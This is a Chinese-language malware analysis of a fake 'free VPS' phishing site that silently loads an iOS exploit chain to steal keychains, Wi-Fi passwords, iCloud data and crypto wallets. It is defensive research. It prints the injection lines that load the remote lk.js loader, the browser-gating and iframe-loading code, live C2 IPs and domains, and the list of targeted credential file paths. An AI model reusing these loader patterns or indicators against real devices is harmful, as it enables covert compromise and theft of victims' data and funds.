极点云 PolarNode "免费 VPS" 钓鱼活动与 iOS 零点击攻击链分析报告
- 报告类型:恶意站点与移动端攻击链深度分析
- 分析时间:2026-09-01 至 2026-09-02 持续更新
- 分析对象:
event.polarnode.vip诱饵站点及其注入的lk.wyincc.com/lk.jsiOS 利用链 - 威胁定性:以"免费 VPS"为诱饵的定向投递 + 针对 iOS 设备的浏览器远程代码执行(RCE)/ 沙箱逃逸 / 内核读写 / 全量数据窃取间谍软件。利用链按系统版本分两套框架投递:iOS 18.4–18.6.2 经 DarkSword 框架,iOS 15.2–15.8 / 16.0–16.6 / 17.0–17.1(排除 16.7+ 与 17.2+)经 Coruna 框架,设备限定 iPhone / iPod touch(不含 iPad);两套框架的漏洞均已由 Apple 于 2023–2026 分批修复,本活动系对已知漏洞(n-day)的再利用
- 样本来源:公开可访问的钓鱼落地页与 CDN 托管载荷(被动取证下载,未执行)
1. 概述
2026年9月1日,一个名为 "极点云 PolarNode" 的站点 event.polarnode.vip 上线(域名8月31日注册),以"完成预约,前 5,000 名用户均可获得免费 VPS,最高赠送 3 年使用权"为噱头,在 VPS / 运维 / 区块链相关论坛与社群中通过"邮箱 + 邀请码裂变"方式扩散。该站点无真实 VPS 销售能力、无公司主体、无联系方式、无售后支持,其唯一实质功能是在页面加载后自动注入一段高复杂度混淆的恶意脚本,对访问者的 iOS Safari 浏览器发起完整的远程攻击。
经对落地页、投递脚本 lk.js 及其级联加载的 dist/ 利用链(vendor.js、runtime.js、framework.js、group.html、common.js、app.js 等)逐层反混淆与静态取证,确认这是一个覆盖 iOS 15.2 至 18.6.2 的浏览器端 RCE 利用投递平台,按系统版本分由两套框架投递——iOS 18.4 / 18.4.1 / 18.5 / 18.6 / 18.6.1 / 18.6.2(build 22E240/22E252/22F76/22G86/22G90/22G100)经 DarkSword 框架(含两条利用路径),iOS 15.2–17.1(含 iOS 16.0–16.6,排除 16.7+)经 Coruna 框架——最终统一向 SpringBoard 等系统进程注入窃取模块,定向盗取加密货币钱包(imToken / TronLink / 通用钱包)、钥匙串(Keychain)、短信、通讯录、相册、备忘录、iCloud、位置与健康数据等并回传 C2。其偏移表覆盖广度、内核原语完整度,以及载荷层保留的 DarkSword 原生模块(keychain_dump.js / wifi_password_securityd.js / icloud_dumper.js)与 CHAIN / MAIN 日志标签,表明其为商用级 iOS 间谍软件套件的犯罪化再分发版本。
表 1-1 攻击活动特征
| 项目 | 内容 |
|---|---|
| 活动名称 | PolarNode "免费 VPS" 钓鱼 + iOS 利用 |
| 发现时间 | 2026-09-01 |
| 诱饵类型 | 仿冒云服务商落地页(Next.js) |
| 投递方式 | 落地页 next/script 自动注入第三方脚本,访问即触发,无需点击 |
| 攻击目标 | DarkSword 路径:iOS 18.4 / 18.4.1 / 18.5 / 18.6 / 18.6.1 / 18.6.2(build 22E240/22E252/22F76/22G86/22G90/22G100)全系 26 款机型,含两条利用路径;Coruna 路径:iOS 15.2–15.8 / 16.0–16.6 / 17.0–17.1(排除 16.7+ 与 17.2+)。设备限定为 iPhone / iPod touch(UA 正则只匹配 "iPhone OS"),不含 iPad。两套框架经 UA + 版本指纹分别投递,全文仅此两条 iframe 加载分支 |
| 利用漏洞 | DarkSword 路径(iOS 18.4–18.6.2):6 个 CVE——CVE-2025-31277、CVE-2025-43529、CVE-2026-20700、CVE-2025-14174、CVE-2025-43510、CVE-2025-43520(披露时含 3 个 0day;截至 2026-09 均已公开并修复,本活动系 n-day 再利用)。Coruna 路径(iOS 15.2–17.1):23 个漏洞 / 5 条利用链(iOS 13–17.2.1 整体范围),底层漏洞 Apple 已于 2023–2024 修复,亦属 n-day |
| 同源判定 | DarkSword 路径与 GTIG/iVerify/Lookout 披露高度同源:sbx1_main.js 同名、阶段架构一致,命中原生载荷组件与 CHAIN/MAIN 标签,版本范围对应 UNC6353 原生变体(18.4–18.6.2)。Coruna 路径(group.html)的 Stage 模块以鸟类命名(cassowary / terrorbird / bluebird / jacurutu / seedbell / breezy15),与公开披露的 Coruna 框架命名及 5 链结构一致,为该框架的犯罪化复用 |
| 攻击入口 | WebKit / Safari 浏览器端漏洞利用(JavaScriptCore RCE)。注:iOS 上第三方浏览器(Chrome / Firefox / Edge / Opera)与 App 内 WebView 均强制共用系统 WebKit + JSC,受影响系统版本上存在同等技术脆弱性;本样本则在 UA 判定中主动排除上述环境并引导至 Safari(见 §2.3) |
| 攻击意图 | 全量窃密、加密货币钱包盗取("打带跑"模式,无持久化) |
| 开发特征 | 投递层 lk.js 经 obfuscator.io 重度混淆并含中文注释;载荷层 app.js 保留 DarkSword 原生未混淆代码与 ./src/** 源码路径;利用链含完整内核偏移表 |
| 受影响规模 | 本样本直接投放范围跨 iOS 15.2–18.6.2(具体为 15.2–15.8 / 16.0–16.6 / 17.0–17.1 与 18.4–18.6.2;不含 16.7+、17.2–18.3、18.7+)。其中 iOS 18.4–18.6.2 全球占比约 14.2%(约 2.22 亿台,StatCounter 2026-02);叠加 15.2–17.1 未修复设备后潜在受影响规模显著扩大,计入未修复 iOS 18.x 整体约 17.3%(约 2.7 亿台) |
| C2 基础设施 | 13.248.210.49:36887、166.117.225.238(均位于 AWS Global Accelerator);回传地址另由服务端 base64 配置对象动态下发 |
| 关联域名 | lk.wyincc.com、polarnode.vip |
2. 攻击分析
2.1 诱饵站点与传播分析
落地页 event.polarnode.vip 是一个标准的 Next.js(Turbopack)单页应用,自称"极点云 PolarNode"。页面话术高度模仿正规云厂商,包含机型规格、带宽、节点区域(硅谷 / 首尔 / 香港)、"内测预约"倒计时等完整营销框架,并设置"前 100 / 500 / 1000 / 5000 名"阶梯式赠送权益。
其裂变机制如下:
- 提交预约:仅需填写邮箱(且标注"每个邮箱、每个 IP 仅可预约一次")。
- 分享邀请:预约成功后生成专属链接,每邀请一人增加 1 个月使用权,最多 +12 个月。
- 等待内测:宣称 2026-09-09 10:00(香港时间)开启内测,通过预约邮箱发送领取通知。
- 领取 VPS:按预约顺序领取。
表 2-1 诱饵站点关键事实
| 项 | 内容 |
|---|---|
| 站点标题 | 极点云 PolarNode|内测预约 |
| Meta 描述 | 高性能 VPS 即将上线,前 5,000 名预约用户可获免费 VPS |
| 表单字段 | email(必填)、inviteCode(选填)、隐藏 ACTION_ID=40c32163a2ace593c8d1fa740464b81bcb0467cf98 |
| 主体信息 | 无公司名、无备案/注册号、无联系方式、无客服入口 |
| 域名注册 | 据称 2026-08-31 注册(极新),与活动话术"前 5000 名"形成紧迫感诱导 |
| 传播渠道 | VPS / IT / 加密货币相关论坛、社群,借"免费资源"裂变扩散 |
关键研判:该站点本身不提供任何真实 VPS 服务,其存在的唯一目的是以高价值"免费算力"诱饵将具备技术背景、且大概率持有加密资产的访问者引流至 iOS 利用链。选择"免费 VPS"作为诱饵,精准命中"技术人群 + 钱包持有者"的高价值目标画像。
2.2 投递与加载机制
对落地页 HTML 的取证显示,恶意脚本并非依赖用户交互,而是在页面进入可交互状态后由框架自动注入:
<link rel="preload" href="https://lk.wyincc.com/lk.js" as="script"/>
<!-- Next.js next/script strategy:"afterInteractive" -->
["$Le",null,{"src":"https://lk.wyincc.com/lk.js","strategy":"afterInteractive"}]
afterInteractive 策略意味着脚本在页面首屏渲染、用户可交互后加载,访问者无需任何点击即完成恶意代码下载与执行。这正是移动端"零点击 / 一点击"攻击投递的典型特征——攻击面完全暴露在浏览器渲染阶段。
表 2-2 投递载荷标签
| 病毒名称 | Trojan/JS.Exploit.iOS |
|---|---|
| 原始文件名 | lk.js |
| SHA-256 | 892dd644ea9a10fd4d89c54d6cfe1028487c3fc23d3f29723af9004b6edf8c70 |
| 文件大小 | 48,878 字节 |
| 托管域名 | lk.wyincc.com |
| 加载方式 | 第三方脚本 afterInteractive 自动注入 |
lk.js 解码后的关键常量直接暴露了投递基础设施与攻击意图:
Svmgf: "https://lk.wyincc.com"—— 载荷 CDN 域名;TYDmw: "13.248.210.49"、dzgtq: "166.117.225.238:36887"—— C2 端点;SBEEa: "im.token.app"、oflOF: "com.global.wallet.ios"、arVde: "com.tronlink.hdwallet"—— 硬编码的定向钱包包名(imToken / 通用钱包 / TronLink);- 一段内嵌 RSA 公钥(ASN.1 头
30820122300d06092a864886f70d010101…),用于回传数据加密。
钱包包名与 RSA 公钥紧邻 C2 地址出现,直接证明"加密钱包定向盗取"是本活动的设计目标,而非利用成功后的附带行为。
2.3 混淆与解码器分析(lk.js)
lk.js 采用 obfuscator.io 重度混淆:字符串数组 + RC4/Base64 + 十六进制算术变换。通过提取其内嵌解码器(a0_0x18cf 解密函数与 a0_0x23be 字符串数组)并在本地 Node 环境中批量还原,得到其真实逻辑:
- 运行时先做 User-Agent / 平台指纹识别,仅对 iOS Safari 分支继续利用;非目标平台(桌面、Android)仅完成诱饵表单交互,iOS 上的第三方浏览器与 App 内 WebView 亦被主动排除(详见下文"浏览器触发条件")。
- 构造一个隐藏 iframe,从同域加载
sandbox.html/group.html,将实际利用代码隔离在沙箱文档中执行,降低被页面主上下文检测到的概率;iframe 样式为width:0;height:0;border:none;position:fixed;left:-9999px;top:-9999px;opacity:0;pointer-events:none;visibility:hidden。 - 通过
postMessage与 iframe 内利用代码通信,传递阶段指令与配置。 - 重复感染防护与利用锁定:利用前先检查
localStorage中的_tc_sid标记,若已存在则直接返回(同一设备不重复投放);收到 iframe 回传的pe_injected(注入成功)事件后写入_tc_sid,收到chain_locked(利用链锁定/失败)事件后写入_tc_time并种下_tc_r=1cookie,用于后续访问的短路判定。 - 内置 C2 端点指示:
13.248.210.49:36887与166.117.225.238。
表 2-3 混淆特征
| 特征 | 表现 |
|---|---|
| 混淆工具 | obfuscator.io |
| 字符串处理 | Base64 / RC4 混合,密钥由十六进制算式派生 |
| 解码函数 | a0_0x18cf(idx, key) → 定位 a0_0x23be 数组并解密 |
| 平台分支 | iOS Safari 独占触发;UA 指纹判定,并显式排除第三方浏览器与 App 内 WebView |
| 载荷隔离 | 隐藏 iframe + postMessage 通道 |
| 代码量 | 主逻辑解码后约 1,300+ 行,反混淆后可完整还原 |
浏览器触发条件:WebKit 内核共享与本样本的选择性触发
① iOS 各浏览器共用同一渲染引擎 @cloudfIare 提供相关信息
- Apple 的平台规则要求,iOS 上所有提供网页浏览功能的第三方应用必须基于系统 WebKit.framework 与 JavaScriptCore 构建(WKWebView / JSC),不得自带独立渲染引擎。因此 Chrome(
CriOS)、Firefox(FxiOS)、Edge(EdgiOS)、Opera(OPiOS)在 iOS 上均运行于 WebKit 内核,而非其在桌面平台使用的 Blink / Gecko。 - 本利用链涉及的浏览器侧漏洞——CVE-2025-43529(JSC DFG JIT 写屏障缺失)、CVE-2025-31277(JSC JIT 正则类型混淆)、CVE-2025-14174(ANGLE/WebGL 越界写)——均位于共享的 WebKit 框架与 JavaScriptCore 层,不属于 Safari 应用自身代码。
- 由此,设备是否具备可利用面取决于 iOS 系统版本(即 WebKit 与内核版本),与使用哪款浏览器无关。在受影响系统版本(iOS 15.2–18.6.2,含 Coruna 路径覆盖的 iOS 16 等旧版本)上,Safari、第三方浏览器与 App 内 WebView(微信、QQ、Telegram、支付宝等)面对的是同一份可利用面。同时 WebKit 只能随 iOS 系统更新修补、无法由浏览器 App 独立升级修复,系统升级是消除该可利用面的唯一路径(见 §5.1)。
② 样本对浏览器环境的判定与分流
解码后的 lk.js 主逻辑先完成 User-Agent 指纹判定,再据此分流到两条独立的利用链加载分支——iOS 18.4–18.6.2 → 加载 dist/sandbox.html(DarkSword 链);iOS 15.2–17.1(排除 16.7+)→ 加载 group.html(Coruna 链)。全文仅有这两处 iframe src 赋值(URL 路径亦只有 sandbox.html 与 group.html 两个),不存在第三个投递分支;版本判定之外(iOS 13.0–15.1、16.7+、17.2–18.3、18.7+ 及 iPad)一律直接 return。上述分流发生在 Safari 判定之后:当且仅当 UA 通过 Safari 校验时,才会继续加载任一分支;否则直接结束执行。因此第三方浏览器与 App 内 WebView 既不会加载 DarkSword 链,也不会加载 Coruna 链。其判定逻辑如下:
var isSafari = /Safari\/\d/i.test(ua) && /Version\//i.test(ua)
&& !/CriOS|FxiOS|OPiOS|EdgiOS/i.test(ua) // 排除 Chrome / Firefox / Opera / Edge
&& !/Line\/|KAKAOTALK|Twitter|Instagram|FBAN|FBAV|WhatsApp|Snapchat|Pinterest|LinkedIn|Weibo|MicroMessenger|QQ\/|baiduboxapp|DingTalk|Alipay|UCBrowser|HuaweiBrowser|MiuiBrowser|VivoBrowser|OppoBrowser|SamsungBrowser/i.test(ua)
&& !/CFNetwork/i.test(ua)
&& /Mobile\/\w+ Safari/i.test(ua);
if (!isSafari) { /* 注入"请在 Safari 中打开"引导页,不加载利用模块 */ }
非 Safari 环境下,样本不加载任何利用模块,转而注入一段全屏引导层覆盖原页面(CSS:body > *:not(#_sf_guide){display:none !important}; body{margin:0;background:#fff !important}),配仿 Safari 图标的蓝色渐变 SVG(#5AC8FA→#007AFF),引导文案为:
Please open in Safari
This page does not support the current browser. Long press the link below to copy, then open in Safari.
〔 Long press to copy link 〕
关于引导页能否在预约页面上实际呈现:
lk.js由event.polarnode.vip落地页经 Next.jsafterInteractive以常规<script>形式加载,运行在落地页顶层文档(top-level document)上下文中,而非沙箱 iframe 内部;"隐藏加载"仅指脚本随页面自动加载、无需用户点击,并不抑制其 DOM 写入效果。因此非 Safari 浏览器打开该落地页时,引导层会被真实注入并覆盖原页面(原页面内容经 CSS 隐藏、引导层z-index:999999置顶)。需说明的是,该引导页不自动跳转,仅展示当前 URL 并提示"长按复制链接后在 Safari 中打开",将访问以人工方式迁移至 Safari 后再加载利用链——这也意味着,若lk.js被置于 1px×1px 透明 iframe 的水坑攻击场景,引导层会渲染在不可见的 iframe 内、受害者无从察觉,此时该 Safari 门槛仅使利用静默失效。无论哪种场景,第三方浏览器本身均不会触发任何利用代码。
③ 该分流设计的工程含义
- 样本在非 Safari 环境中不加载利用模块,其引导页会促使用户复制链接并改用 Safari 打开,使访问最终落入样本可控性最高的执行环境。
- 偏移表与 JIT 内存布局对 WebKit 具体版本高度敏感,第三方浏览器的 WKWebView 在 JIT 配置与进程模型上存在差异,将执行环境收敛至 Safari 有助于提高利用成功率。
- "长按复制链接"的交互使目标 URL 以纯文本形式传递,可绕过聊天工具与邮件网关的链接安全扫描。
- 检测层面,受害者所使用的浏览器类型不构成排除条件;"请在 Safari 中打开 / Please open in Safari"一类强制切换浏览器的引导话术应作为高风险社工特征,纳入 §5.3 的网关拦截与终端检测规则。
2.4 利用链分析(dist/chunks/)
DarkSword 路径下,iframe 加载的 sandbox.html 进一步按需拉取 dist/chunks/ 下的利用模块(旧版本 Coruna 路径经 group.html 直接加载 Stage 模块,见本节"旧版本利用分支")。各模块职责与规模如下:
表 2-4 利用链模块清单
| 本样本文件 | 大小 | DarkSword 官方名 | 职责 |
|---|---|---|---|
lk.js |
48,878 B | rce_loader.js |
入口加载器:UA / iOS 版本指纹识别,按版本分发利用模块 |
vendor.js |
6,649 B | rce_module.js |
DarkSword 入口判定与原语:仅放行 iOS 18.x 且次版本 4–6(即 18.4–18.6.2),按 is18_6_plus 分流;含 offsets / slide / chipset / PAC 绕过 / dlopen 原语(旧版本 Coruna 分支不经此模块,由 lk.js 直接加载 group.html) |
runtime.js |
429 KB | rce_worker_18.6.js |
18.6 主路径编排器,内嵌 rce_offsets 偏移表(18.6/18.6.1/18.6.2)与阶段机 |
framework.js |
351 KB | sbx0_main.js |
18.6 路径 SBX0:WebContent→GPU 进程逃逸载荷(ANGLE/WebGL 越界写),mach IPC 原语 |
runtime-legacy.js |
— | rce_worker_18.4.js |
18.4/18.5 路径编排器,运行时从服务端拉取 framework-legacy.js 完成 SBX0 |
polyfill.js |
383 KB | (兜底 RCE) | 18.4/18.5 路径兜底 RCE(150 次重试),内嵌跨版本偏移表,覆盖 18.4/18.4.1/18.5/18.6/18.6.1/18.6.2 |
framework-legacy.js |
— | sbx0_main_18.4.js |
18.4/18.5 路径 SBX0 逃逸载荷(服务端按需下发) |
common.js + sbx1_main.js |
— | sbx1_main.js(同名) |
SBX1:GPU→mediaplaybackd 逃逸,内核读写原语,含 {{LPE_64BITE}} 注入模板 |
app.js |
540 KB | pe_main.js |
后渗透编排与最终窃取载荷(版本无关,注入系统进程后全量采集并回传) |
platform_module.js / utility_module.js |
— | — | 工具 / 兼容函数 |
同源关键:上表"DarkSword 官方名"一列与 Lookout 公布的 DarkSword 恶意文件名清单(
rce_loader.js、rce_module.js、rce_worker_18.4.js、rce_worker_18.6.js、sbx0_main_18.4.js、sbx1_main.js、pe_main.js)逐一对映,其中sbx1_main.js为直接同名。
偏移表覆盖规模——这是判定其工程化成熟度的最直接证据。样本实际包含两套偏移数据,分别服务于两条利用路径:
表 2-5 偏移表覆盖矩阵
| 利用路径 | 偏移数据来源 | iOS 版本(build)覆盖 | 设备/固件组合 | 每组合符号偏移 |
|---|---|---|---|---|
| 18.6 主路径 | runtime.js 内嵌 rce_offsets |
18.6(22G86)、18.6.1(22G90)、18.6.2(22G100) | 26×3 = 78 | 106 |
| 18.4/18.5 路径 | polyfill.js 内嵌跨版本偏移表 + 运行时校验哈希(pthread_create_auth_stubs_offset[ios_version] 等按版本索引) |
18.4(22E240)、18.4.1(22E252)、18.5(22F76)、18.6(22G86)、18.6.1(22G90)、18.6.2(22G100) | 26×6 = 156(按 build 计) | 含内核函数、结构偏移、gadget、JSC pthread_create stub 等 |
| 合计口径 | — | iOS 18.4 ~ 18.6.2 共 6 个子版本 | 26 款机型全覆盖 | 8 个芯片族 |
DarkSword 路径受影响版本的完整界定:该路径经
vendor.js入口判定(ios_version[0]===18且4<=ios_version[1]<=6)后分流——18.6 →runtime.js;18.4/18.5 →runtime-legacy.js+polyfill.js兜底 RCE(150 次重试),后者内嵌 18.4/18.4.1/18.5 偏移表。因此 DarkSword 路径实际受影响版本为 iOS 18.4 至 18.6.2 全系,共 6 个子版本。截至本报告时间,这些版本对应的内核/WebKit 漏洞均已公开并随 iOS 18.7.2/18.7.3/26.x 修复,属已知漏洞再利用(n-day);该路径仅覆盖 18.4–18.6.2,iOS 18.0–18.3 与已升级至 18.7.2+ 的设备不在其覆盖范围内(旧版本 Coruna 路径的覆盖见前节与 §2.7)。
双路径路由(vendor.js 版本判定)
表 2-6 利用路径路由
| 设备 iOS 版本 | 利用路径 | 偏移数据来源 | 沙箱逃逸载荷 |
|---|---|---|---|
| 18.6 / 18.6.1 / 18.6.2 | runtime.js(主路径) |
rce_offsets(78 组,仅 22G 系列) |
framework.js(SBX0) |
| 18.4 / 18.4.1 / 18.5 | runtime-legacy.js + polyfill.js(150 次重试兜底 RCE) |
polyfill.js 内嵌跨版本偏移表 |
framework-legacy.js(SBX0) |
实测补充:用 18.4 / 18.5 的 UA 回踩服务端时,所有 chunk 模块返回 403 +
/.safeline/蜜罐页(长亭 SafeLine WAF),表明该攻击基础设施仍在活跃运营且近期已加固防护。
旧版本利用分支(group.html,对应 Coruna 框架)
解码 lk.js 主逻辑可见,除面向 iOS 18.4–18.6.2 的 DarkSword 分支外,还存在一条独立的旧版本分支(判定条件 _0xc320ce:iOS 15.2+ 或 16.x 或 17.0–17.1,且排除 16.7+)。该分支加载 /group.html(而非 /dist/sandbox.html),由此切入第二条利用链:
if (_0x3958bc) { // iOS 18.4–18.6(DarkSword 路径)
iframe.src = base + '/dist/sandbox.html?d=' + b64cfg;
} else { // iOS 15.2–17.1,排除 16.7+(Coruna 路径)
iframe.src = base + '/group.html';
}
group.html 自身具备独立版本门槛(if (13E4 > platformModule.platformState.iOSVersion) return 1001,即 iOS ≥ 13.0),其内部 Stage 模块以鸟类代号命名,与公开披露的 Coruna 框架命名及五链结构一致:
Stage1(按版本分链):
Stage1_15.2_15.5_jacurutu → iOS 15.2–15.5
Stage1_15.6_16.1.2_bluebird → iOS 15.6–16.1.2
Stage1_16.2_16.5.1_terrorbird → iOS 16.2–16.5.1
Stage1_16.6_17.2.1_cassowary → iOS 16.6–17.2.1
Stage2(PAC 绕过 / 内核前置):
Stage2_15.0_16.2_breezy15 → iOS 15.0–16.2
Stage2_16.3_16.5.1_seedbell → iOS 16.3–16.5.1
Stage2_16.6_16.7.12_seedbell → iOS 16.6–16.7.12
Stage2_16.6_17.2.1_seedbell_pre → iOS 16.6–17.2.1
Stage3(含/不含 PAC 绕过变体):
Stage3_VariantA / Stage3_VariantB
Coruna 框架背景与覆盖:Coruna 是 DarkSword 的技术前身,由 GTIG / iVerify 等机构于 2026 年披露(又名 CryptoWaters),涉及 23 个漏洞 / 5 条利用链,整体目标范围为 iOS 13.0–17.2.1,底层漏洞 Apple 已于 2023–2024 分批修复(属已知漏洞 n-day 再利用)。本样本投递层将其实际下发范围收窄为 iOS 15.2–17.1(排除 16.7+),与 DarkSword 的 18.4–18.6.2 形成互补,使整套投递覆盖 iOS 15.2 至 18.6.2。该分支同样位于 §2.3 所述 Safari 判定之后,仅在 Safari 中加载;第三方浏览器不会进入此分支。
Coruna 五链版本与 CVE 映射(依据 GTIG / iVerify 披露;含无 CVE 的内部 exploit):
WebContent RCE(按版本分链,本样本对应其中四条 Stage1 模块): buffout CVE-2021-30952 iOS 13.0–15.1.1 (修复于 15.2;本样本投递层不下发该区间) jacurutu CVE-2022-48503 iOS 15.2–15.5 (修复于 15.6) bluebird 无 CVE iOS 15.6–16.1.2 (修复于 16.2) terrorbird CVE-2023-43000 iOS 16.2–16.5.1 (修复于 16.6) cassowary CVE-2024-23222 iOS 16.6–17.2.1 (修复于 17.3) PAC 绕过: breezy(13–14.x) / breezy15(15–16.2) / seedbell(16.3–16.5.1) seedbell_16_6(16.6–16.7.12) / seedbell_17(17–17.2.1) (均无 CVE) 沙箱逃逸: IronLoader CVE-2023-32409(16.0–16.3.1) / NeuronLoader 无 CVE(16.4.0–16.6.1) 内核提权: Neutron CVE-2020-27932(13.x) / Dynamo CVE-2020-27950(13.x, infoleak) Pendulum(14–14.4.x) / Photon CVE-2023-32434(14.5–15.7.6) Parallax CVE-2023-41974(16.4–16.7) / Gruber(15.2–17.2.1) PPL 绕过: Quark(13.x) / Gallium CVE-2023-38606(14.x) / Carbone(15.0–16.7.6) Sparrow CVE-2024-23225(17.0–17.3) / Rocket CVE-2024-23296(17.1–17.4)该映射进一步佐证了投递层的收窄逻辑:本样本虽内嵌 Coruna 全套模块(含可覆盖 13.0–15.1 的 buffout 链、可覆盖 16.7–17.2.1 的 cassowary/seedbell 链),但
lk.js投递层将旧版本分支的触发区间显式限定为 15.2–17.1(排除 16.7+),故 13.0–15.1、16.7+、17.2–17.2.1 设备在本样本下不会进入利用流程。
实测补充(旧版本链):以 iOS 16.6 UA 回踩时,
group.html、platform_module.js、utility_module.js仍可获取(HTTP 200),但其Stage1_*/Stage3_*模块已返回 403 +/.safeline/蜜罐页(长亭 SafeLine WAF),表明旧版本链基础设施同样在活跃运营且近期已加固防护。
利用阶段(由代码注释、日志标签与阶段机还原,对应 DarkSword 七环节)
[1] 投递:水坑/钓鱼页 → rce_loader(lk.js) 版本指纹识别 → DarkSword 路径仅 18.4–18.6.2 分发利用代码(旧版本经 Coruna 分支另行投递,见 §2.4)
↓
[2] Safari WebContent 渲染进程 RCE
18.6 路径 → CVE-2025-43529(JSC DFG JIT 写屏障缺失)
18.4/18.5 路径 → CVE-2025-31277(JSC JIT 正则类型混淆)
↓
[3] 用户态防护绕过:CVE-2026-20700(dyld PAC 绕过,免注入未签名二进制)
↓
[4] SBX0 首次沙箱逃逸:WebContent → GPU 进程
CVE-2025-14174(ANGLE/WebGL 越界写),framework.js(351 KB)
↓
[5] SBX1 二次沙箱逃逸:GPU → mediaplaybackd 系统守护进程
CVE-2025-43510(XNU 内核内存损坏·锁状态检查不当,经 XPC 接口),common.js / sbx1_main.js
↓
[6] 内核提权 LPE:CVE-2025-43520(XNU 内核内存损坏·越界写)→ pe_main.js(app.js) 内核态任意代码执行
↓
[7] 载荷注入与窃取:注入 SpringBoard / configd / wifid / securityd / UserEventAgent
→ 各进程取数暂存 → SpringBoard 最终载荷回传 C2 → 清理痕迹退出(无持久化残留)
窃取目标的取证口径:本报告以 §2.5 列举的真实文件路径与模块引用(
/private/var/Keychains/keychain-2.db、/private/var/keybags/systembag.kb、wifi_password_securityd.js等)作为窃取目标的判定依据。需说明的是,对 exploit 模块做关键词词频统计易受框架符号名干扰——如WebCore__initPKContact含 "Contact" 子串、CMPhoto为框架类名、偏移常量0x218881820n含数字片段等,这些均为符号名与地址常量而非窃密行为代码,因此本报告不采用关键词计数作为证据。
2.5 后渗透与数据窃取分析(app.js)
app.js(540 KB,webpack 打包,含 ./src/** 模块结构)是注入系统进程后的最终窃取组件,对应 DarkSword 的 pe_main.js。其行为完全符合 DarkSword 的"打带跑(hit-and-run)"模式:窃取完成后清理痕迹并退出,无持久化机制。
进程注入路径
app.js (经 mediaplaybackd 完成内核提权后,作为调度器)
├─ 强制加载 JSC 框架 + 定制 payload 到多个系统进程:
│ configd / wifid / securityd / UserEventAgent ← 各服务分别取数并暂存
└─ 最终注入 exfil 载荷到 SpringBoard:
const targetProcess = "SpringBoard";
applySandboxEscape() → HTTP GET springboard.js → 回传全部暂存数据
样本内明确代码:
const TAG = "MAIN";///const targetProcess = "bluetoothd";/const targetProcess = "SpringBoard";——被注释掉的bluetoothd是开发调试残留,与 Lookout 描述的"最终由 SpringBoard 回传"完全吻合。
命中 DarkSword 原生载荷组件(决定性同源证据)
app.js 保留了 DarkSword 的三个原生 raw-loader 窃取模块(webpack 导入语句可直接观察到):
| DarkSword 原生模块 | 窃取能力 | 对应痕迹文件 |
|---|---|---|
!raw-loader!keychain_dump.js |
钥匙串明文导出 | /private/var/tmp/keychain_dump.txt |
!raw-loader!wifi_password_securityd.js |
WiFi 密码窃取(DarkSword-WIFI-DUMP 工具名来源) | /private/var/tmp/wifi_passwords_securityd.txt |
!raw-loader!icloud_dumper.js |
iCloud 数据导出 | /private/var/tmp/icloud_dump/ |
同时定义了完整的日志标签体系,与 Lookout 公布的检测标签一致:CHAIN、MAIN、PAC、TASKROP、INJECTJS、SANDBOX、OFFSETS、TASK、VM、THREAD、REMOTECALL、DRIVER-POSTEXPL、PORTRIGHTINSERTER、FILE-UTILS、REGISTERSSTRUCT、UTILS、EXCEPTION。
表 2-7 窃取目标与样本证据(基于真实文件路径)
| 目标类别 | 证据(样本内真实路径 / 模块引用) |
|---|---|
| 钥匙串与密钥包 | /private/var/Keychains/keychain-2.db(及 -journal/-shm/-wal)、/var/Keychains/、/private/var/keybags/systembag.kb、persona.kb、usersession.kb;keychain_dump.js 模块 |
| 凭据与 WiFi | /private/var/mobile/Cookies/(源码注释 // Credentials & WiFi)、wifi_password_securityd.js 模块 |
| iCloud 与诊断数据 | icloud_dumper.js 模块;/private/var/containers/Shared/SystemGroup/systemgroup.com.apple.osanalytics/DiagnosticReports/ |
| 加密货币钱包 | im.token.app、com.tronlink.hdwallet、com.global.wallet.ios(由 lk.js 硬编码定向);Keychain 中助记词 / 私钥 |
| 文件系统与痕迹清理 | /private/var/tmp/、/private/var/mobile/Library/Logs/CrashReporter/、/private/var/tmp/com.apple.mediaplaybackd/Library/HTTPStorages/com.apple.mediaplaybackd/ |
| 其他(套件原生能力) | 短信 / iMessage、通讯录、相册、备忘录、位置历史、健康数据库、Safari 历史与 Cookie、蜂窝 / SIM 信息 |
窃取逻辑直接面向移动设备最敏感的数据仓库(钥匙串、密钥包与沙盒数据库),并在此之上叠加加密货币钱包助记词 / 私钥 / 交易凭证的定向窃取,与诱饵"IT/加密人群"画像高度吻合。app.js 三个 UA 版本(16.6 / 17.0 / 18.6)MD5 完全一致,说明最终窃取载荷为版本无关的通用模块,差异仅存在于利用链前期——其中 16.6 / 17.0 对应 Coruna 旧版本分支、18.6 对应 DarkSword 分支,三版共用同一后渗透载荷,进一步印证两套框架在同一投递器内并行运作。C2 配置(site_host / uid / device_source / SDK 端口)由服务端下发,device_source 示例值为 782391,默认 _SDK_PORT = 80。
2.6 C2 通信分析
利用链与窃取模块的外联指标如下(已在多份样本中交叉命中):
- 13.248.210.49:36887 —— 主 C2 端点(
lk.js硬编码,含端口 36887)。 - 166.117.225.238 —— 备用 / 关联端点(
lk.js硬编码)。 - 两个 IP 经查询均落在 AWS Global Accelerator 背后,具备弹性隐匿与快速更换能力。
- 通信含心跳(heartbeat)、阶段上报与加密数据回传;SDK 默认端口为 80,规避非常规端口审查。
回传地址由服务端动态下发
app.js 并未硬编码最终 exfil 地址,而是通过 base64 解码的配置对象 _pcfg(JSON)读取回传参数:server_url / server_host / uid / device_source,_SDK_PORT 默认 80,亦支持从 URL 解析 host:port。这意味着不同受害者可能收到不同的 C2 地址,显著提升封锁难度——仅封堵上述两个硬编码 IP 并不足以彻底切断回传。
数据加密
lk.js 内嵌 RSA 公钥(ASN.1 头 30820122300d06092a864886f70d010101…),窃取数据经加密后回传,服务端持有对应私钥解密;通信中另见 sign、base64、JSON.stringify 与 POST / GET 混合使用。
2.7 漏洞映射:DarkSword 全链利用与受影响版本
经与 Google Threat Intelligence(GTIG)、iVerify、Lookout 于 2026-03 联合披露的 DarkSword iOS 全链利用套件比对,本样本在模块命名(sbx1_main.js 直接同名、全链文件名逐一对映)、阶段架构(RCE → PAC 绕过 → SBX0 GPU 逃逸 → SBX1 内核读写 → LPE)、原生载荷组件(keychain_dump.js / wifi_password_securityd.js / icloud_dumper.js)、日志标签(CHAIN / MAIN),以及钱包/钥匙串定向窃取上高度吻合,可判定为 DarkSword 的 UNC6353 原生变体(18.4–18.6.2)被犯罪团伙二次加工后用于虚拟货币盗取。该套件链式利用 6 个漏洞(披露时含 3 个 0day,现均已公开并修复),全部以纯 JavaScript 实现,全程无需注入任何 Mach-O 二进制,可绕过 Page Protection Layer(PPL)与 Secure Page Table Monitor(SPTM)。
